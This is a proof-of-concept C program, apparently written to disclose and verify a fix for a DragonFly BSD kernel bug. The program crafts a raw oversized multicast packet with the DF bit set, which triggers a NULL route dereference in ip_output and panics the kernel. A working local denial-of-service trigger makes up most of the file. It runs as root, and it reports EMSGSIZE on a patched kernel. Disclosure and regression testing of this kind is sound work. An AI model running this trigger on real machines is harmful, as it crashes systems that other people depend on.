DF-3370 / rawdf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-3370 PoC โ ip_output.c:712 NULL rtentry dereference (kernel panic). * * Unprivileged users cannot set IP_DF on DragonFly (no IP_DONTFRAG sockopt, * sys/netinet/in.h:405; raw sockets gated by SYSCAP_NONET_RAW, * sys/netinet/raw_ip.c:473), so the trigger here runs as root via a raw * socket โ the code path itself is fully deterministic: * * ip_output() with a multicast destination and IP_MULTICAST_IF set takes * the "bypass routing" branch (ip_output.c:309-317) which selects ifp * from imo->imo_multicast_ifp and NEVER fills ro->ro_rt. An oversized * (len > ifp->if_mtu) packet with IP_DF set then falls into * ip_output.c:703-715: * * if (ip->ip_off & htons(IP_DF)) { * error = EMSGSIZE; * ... * if ((ro->ro_rt->rt_flags & (RTF_UP | RTF_HOST)) && <-- NULL! * * ro->ro_rt == NULL -> page fault in ip_output -> kernel panic. * * Build: cc -O -o rawdf rawdf.c * Run (as root): ./rawdf -> expect kernel panic on serial console * Run on fixed kernel: -> sendto() returns -1 EMSGSIZE (Message too long) */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define PKTLEN 2000 /* > vtnet0 mtu 1500 */ int main(void) { int s, one = 1; struct ip_mreqn mreqn; struct sockaddr_in dst; static unsigned char pkt[PKTLEN]; struct ip *ip = (struct ip *)pkt; ssize_t n; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW, IPPROTO_RAW) (needs root)"); return 1; } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt(IP_HDRINCL)"); return 1; } /* * Pin the multicast interface: makes ip_output take the * imo->imo_multicast_ifp branch with ro->ro_rt left NULL. */ memset(&mreqn, 0, sizeof(mreqn)); mreqn.imr_ifindex = if_nametoindex("vtnet0"); if (mreqn.imr_ifindex == 0) { perror("if_nametoindex(vtnet0)"); return 1; } if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, &mreqn, sizeof(mreqn)) < 0) { perror("setsockopt(IP_MULTICAST_IF)"); return 1; } /* Skeletal IP header, taken verbatim because of IP_HDRINCL. */ memset(pkt, 0, sizeof(pkt)); ((unsigned char *)ip)[0] = 0x45; /* v4, hlen 20 (userland hdr) */ ip->ip_len = htons(PKTLEN); /* 2000 > 1500 */ ip->ip_id = 0; /* kernel fills */ ip->ip_off = htons(IP_DF); /* << the DF bit */ ip->ip_ttl = 1; /* default mcast TTL, != 0 */ ip->ip_p = IPPROTO_UDP; ip->ip_src.s_addr = INADDR_ANY; /* kernel picks ifp addr */ ip->ip_dst.s_addr = inet_addr("224.0.0.5"); /* not joined */ memset(pkt + sizeof(struct ip), 0x41, PKTLEN - sizeof(struct ip)); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_len = sizeof(dst); dst.sin_addr = ip->ip_dst; printf("DF-3370: sending %d-byte DF multicast via vtnet0 (mtu 1500)\n", PKTLEN); printf("DF-3370: stock kernel: expect FATAL TRAP 12 in ip_output " "(ro->ro_rt == NULL at ip_output.c:712)\n"); printf("DF-3370: fixed kernel: expect sendto() == -1 EMSGSIZE\n"); fflush(stdout); n = sendto(s, pkt, PKTLEN, 0, (struct sockaddr *)&dst, sizeof(dst)); printf("DF-3370: sendto returned %zd errno=%d (%s)\n", n, errno, strerror(errno)); if (n < 0 && errno == EMSGSIZE) printf("DF-3370: EMSGSIZE โ patched behaviour, no panic\n"); return 0; } |